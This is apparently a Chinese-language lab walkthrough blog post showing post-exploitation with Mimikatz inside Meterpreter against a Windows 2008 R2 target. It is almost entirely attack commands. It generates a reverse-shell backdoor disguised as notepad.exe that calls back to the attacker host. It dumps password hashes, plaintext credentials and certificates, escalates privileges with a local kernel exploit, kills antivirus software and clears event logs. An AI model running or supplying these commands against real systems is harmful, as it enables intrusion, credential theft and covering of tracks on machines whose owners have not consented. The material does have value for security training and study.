Mimikatz on meterpreter

Posted 2022-09-17 micr067

实验环境：

kali 主机：192.168.88.193

目标靶机：win2008 R2 192.168.88.130

kali 主机上执行生成一个后门 exe:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.193 LPORT=443 -f exe -o notepad.exe

msfconsole -r msf.rc

meterpreter > load mimikatz // 加载 mimizkatz

Mimikatz Commands

=================

 

Command Description

------- -----------

kerberos Attempt to retrieve kerberos creds.

livessp Attempt to retrieve livessp creds.

mimikatz_command Run a custom command.

msv Attempt to retrieve msv creds (hashes).

ssp Attempt to retrieve ssp creds.

tspkg Attempt to retrieve tspkg creds.

wdigest Attempt to retrieve wdigest creds.

meterpreter > mimikatz_command -f version // 查看mimkatz版本信息

mimikatz 1.0 x86 (RC) (May 31 2019 15:52:45)

meterpreter > mimikatz_command -f fu:: // 列出加载 的模块选项

 

Modules disponibles :

- Standard

crypto - Cryptographie et certificats

hash - Hash

system - Gestion syst?me

process - Manipulation des processus

thread - Manipulation des threads

service - Manipulation des services

privilege - Manipulation des privil?ges

handle - Manipulation des handles

impersonate - Manipulation tokens d‘acc?s

winmine - Manipulation du d?mineur

minesweeper - Manipulation du d?mineur 7

nogpo - Anti-gpo et patchs divers

samdump - Dump de SAM

inject - Injecteur de librairies

ts - Terminal Server

divers - Fonctions diverses n‘ayant pas encore assez de corps pour avoir leurs propres module

sekurlsa - Dump des sessions courantes par providers LSASS

efs - Manipulations EFS

meterpreter > mimikatz_command -f divers:: // 调用驱动模式

meterpreter > mimikatz_command -f handle:: // Handle 模块可以用来 list/kill 进程

以及模拟用户令牌

meterpreter > mimikatz_command -f handle:: list

meterpreter > mimikatz_command -f service:: // Service 模 块 让 你 可 以 list/start/stop 以及 remove windows 服务

meterpreter > mimikatz_command -f service::list

meterpreter > mimikatz_command -f crypto:: // Crypto 模块允许你 list、export 任何证书，以及储存在目标机器上相应的私钥

meterpreter > mimikatz_command -f crypto::list

meterpreter > mimikatz_command -f crypto::listProviders

meterpreter > msv // 导出 hash

meterpreter > kerberos // 导出明文

meterpreter > mimikatz_command -f samdump::hashes //导出 hash,在密码超过14位时LM会为空

meterpreter > mimikatz_command -f sekurlsa::searchPasswords //获取明文密码

溢出提权：

meterprter>background // 把当前的 Meterpreter 会话转为后台执行

msf>search ms14 //搜索关键的提权 exp,这里在 windows2003 上可以用 ms14-002

进行提权成功：

msf exploit(ms14_070_tcpip_ioctl) > use exploit/windows/local/ms_ndproxy

msf exploit(ms_ndproxy) > show options

msf exploit(ms_ndproxy) > set session 1

msf exploit(ms_ndproxy) > exploit

 

meterpreter > run post/windows/gather/checkvm //检查目标是否为虚拟机

meterpreter > run killav // meterpreter 的 killav 脚本来杀死目标主机运行的杀毒软件

meterpreter > run post/windows/gather/enum_applications // 获取软件安装程序

meterpreter > run post/windows/gather/dumplinks // 获取最近的文件操作

meterpreter > run post/windows/gather/smart_hashdump // 获取 hsah 值

meterpreter > clearev //清理痕迹